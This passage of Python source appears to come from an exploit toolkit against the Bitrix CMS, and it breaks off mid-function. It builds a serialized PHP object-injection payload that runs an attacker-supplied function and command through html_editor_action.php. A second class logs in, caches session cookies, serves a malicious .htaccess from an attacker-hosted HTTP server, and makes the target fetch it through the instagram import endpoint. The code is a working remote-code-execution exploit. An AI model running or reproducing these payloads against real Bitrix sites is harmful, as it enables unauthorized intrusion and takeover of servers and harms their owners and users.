self.__target = target
self.__function = function
self.__command = command
def convert_str_for_payload(self, str):
byte_array = bytes(str, "utf-8")
return ''.join(f'\\{byte:02x}' for byte in byte_array)
def get_payload_for_object(self):
return r'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:' + str(
len(self.__command)) + r':"' + self.convert_str_for_payload(
self.__command) + r'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:' + str(
len(self.__function)) + r':"' + self.convert_str_for_payload(
self.__function) + r'";i:1;s:17:"WriteFinalMessage";}}}}}}}}'
def run(self):
print_header_rce("RCE via PHP Object Injection ( html_editor_action.php )")
bitrix_data = get_composite_data(self.__session, self.__target)
if not bitrix_data:
return
bitrix_sessid = bitrix_data['bitrix_sessid']
url = f"{self.__target}bitrix/tools/html_editor_action.php"
files = {
'bxu_files[.][files][code]': (None, 'default'),
# field name filename file object content-type
'bxu_files[.][default]': ('image.jpg', self.get_payload_for_object(), 'image/jpeg'),
'bxu_info[CID]': (None, '1'),
'bxu_info[packageIndex]': (None, 'pIndex101'),
'bxu_info[mode]': (None, 'upload'),
'action': (None, 'uploadfile'),
'sessid': (None, bitrix_sessid),
'bxu_info[filesCount]': (None, '1')
}
r = self.__session.post(url, files=files, verify=False)
if r.status_code != 403 and r.status_code != 404:
headers['Content-Type'] = 'application/x-www-form-urlencoded'
data = f"bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid={bitrix_sessid}&bxu_info[filesCount]=1&bxu_info[CID]=default%00"
r = self.__session.post(url, data=data, headers=headers, verify=False)
print_ok(f'Response status code: {r.status_code}\n')
if r.text:
print_ok(f'Response body:\n\n{r.text}\n\n')
else:
print_fail('Response body is empty\n\n')
else:
print_fail(
f'Page bitrix/tools/html_editor_action.php is not available. Status code: {r.status_code}')
class RCETempFileCreate:
def __init__(self, session, target, path_login, login, password, lport1, lport2, lhost, delay_seconds, n_reps,
site_id):
self.__session = session
self.__target = target
self.__sessid = None
self.__login = login
self.__password = password
self.__path_login = path_login
self.__lport1 = lport1
self.__lport2 = lport2
self.__lhost = lhost
self.__delay_seconds = delay_seconds
self.__n_reps = n_reps
self.__site_id = site_id
def nested_to_urlencoded(self, val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = self.nested_to_urlencoded(v, prefix=f"[{k}]")
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = self.nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def check_creds(self, cookie, sessid):
return self.__session.get(f"{self.__target}bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, verify=False).text == "OK"
def login(self):
self.__session.cookies.pop('PHPSESSID', None)
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if self.check_creds(cookie, sessid):
self.__session.cookies.set("PHPSESSID", cookie)
self.__sessid = sessid
print_ok("Using cached credentials")
return
else:
print_fail("Cached credentials are invalid")
resp = self.__session.post(
f"{self.__target}{self.__path_login}",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": self.__login,
"USER_PASSWORD": self.__password,
},
verify=False,
)
if self.__session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print_fail(f"Invalid credentials")
exit()
print_ok(f"Logged in as {self.__login}")
self.__sessid = get_composite_data(self.__session, self.__target)['bitrix_sessid']
with open("./cached-creds.txt", "w") as f:
f.write(f"{self.__session.cookies.get('PHPSESSID')}:{self.__sessid}")
def start_server(self, delay_seconds):
class MyHandler(http.server.BaseHTTPRequestHandler):
htaccess = open("./.htaccess", "rb").read()
def do_GET(self):
path = urlparse(self.path).path
self.send_response(200)
self.end_headers()
# Request .htaccess
if ".htaccess" in path:
self.wfile.write(self.htaccess)
self.wfile.flush()
return
# Delay
print_ok(f"Delaying return by {delay_seconds} seconds")
# send the body of the response
for i in range(delay_seconds):
self.wfile.write(b"A\n")
self.wfile.flush()
time.sleep(1)
# Shutdown server when done
self.server.shutdown()
def log_message(self, format: str, *args: typing.Any) -> None:
# Silence logging
pass
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
httpd = ThreadedHTTPServer(("0.0.0.0", self.__lport1), MyHandler)
def forever():
with httpd:
httpd.serve_forever()
thread = threading.Thread(target=forever, daemon=True)
thread.start()
print_ok(f"Started HTTP server on {self.__lport1}")
return httpd
def instagram_import(self):
resp = self.__session.post(
f"{self.__target}/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
data=self.nested_to_urlencoded([{
"IMAGES": [
f"http://{self.__lhost}:{self.__lport1}/.htaccess"
] * self.__n_reps + [f"http://{self.__lhost}:{self.__lport1}/delay"],
"NAME": "Product 1"